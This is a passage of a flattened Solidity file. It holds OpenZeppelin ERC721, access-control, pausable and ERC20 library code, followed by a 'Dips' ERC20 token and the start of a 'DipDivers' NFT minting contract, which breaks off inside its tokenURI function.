require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/access/AccessControl.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File: @openzeppelin/contracts/security/Pausable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
// File: contracts/Dips.sol
pragma solidity ^0.8.10;
contract Dips is ERC20, ERC20Burnable, Pausable, AccessControl {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor() ERC20("Dips", "DIP") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(PAUSER_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
}
function pause() public onlyRole(PAUSER_ROLE) {
_pause();
}
function unpause() public onlyRole(PAUSER_ROLE) {
_unpause();
}
function mint(address to, uint256 amount) public onlyRole(MINTER_ROLE) {
_mint(to, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount)
internal
whenNotPaused
override
{
super._beforeTokenTransfer(from, to, amount);
}
}
// File: contracts/DipDivers.sol
pragma solidity ^0.8.10;
contract DipDivers is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenSupply;
address dipsAddress;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public price = 0.03 ether;
uint256 public dipsPrice = 10 ether;
uint256 public maxSupply = 3000;
uint256 public publicSaleSupply = 2900;
uint256 public maxMintAmount = 20;
bool public paused = true;
bool public revealed = false;
mapping(address => bool) public whitelistedAddresses;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _notRevealedURI
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_notRevealedURI);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 totalCost = price * _mintAmount;
require(!paused, "Minting is paused.");
require(_mintAmount > 0, "You need to mint at least 1 DipDiver.");
require(_mintAmount <= maxMintAmount, "You can only mint 20 DipDivers per transaction.");
require(_tokenSupply.current() + _mintAmount <= publicSaleSupply, "Max DipDiver limit exceeded.");
require(msg.value >= totalCost, "insufficient funds");
for (uint256 i = 1; i <= _mintAmount; i++) {
_tokenSupply.increment();
_safeMint(msg.sender, _tokenSupply.current());
}
}
function whitelistClaim() public payable {
require(!paused, "Minting is paused.");
require(whitelistedAddresses[msg.sender] == true, "You are not on the whitelist.");
require(_tokenSupply.current() + 1 <= maxSupply, "Max DipDiver limit exceeded.");
_tokenSupply.increment();
_safeMint(msg.sender, _tokenSupply.current());
whitelistedAddresses[msg.sender] = false;
}
function mintWithDips(uint256 _mintAmount) public payable {
require(!paused, "the contract is paused");
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded");
require(_tokenSupply.current() + _mintAmount <= publicSaleSupply, "max NFT limit exceeded");
uint256 totalDipsCost = _mintAmount*dipsPrice;
require(Dips(dipsAddress).balanceOf(msg.sender) >= totalDipsCost, "insufficient dips funds");
require(Dips(dipsAddress).allowance(msg.sender, address(this)) >= totalDipsCost, "not allowed to burn");
Dips(dipsAddress).burnFrom(msg.sender, totalDipsCost);
for (uint256 i = 1; i <= _mintAmount; i++) {
_tokenSupply.increment();
_safeMint(msg.sender, _tokenSupply.current());
}
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
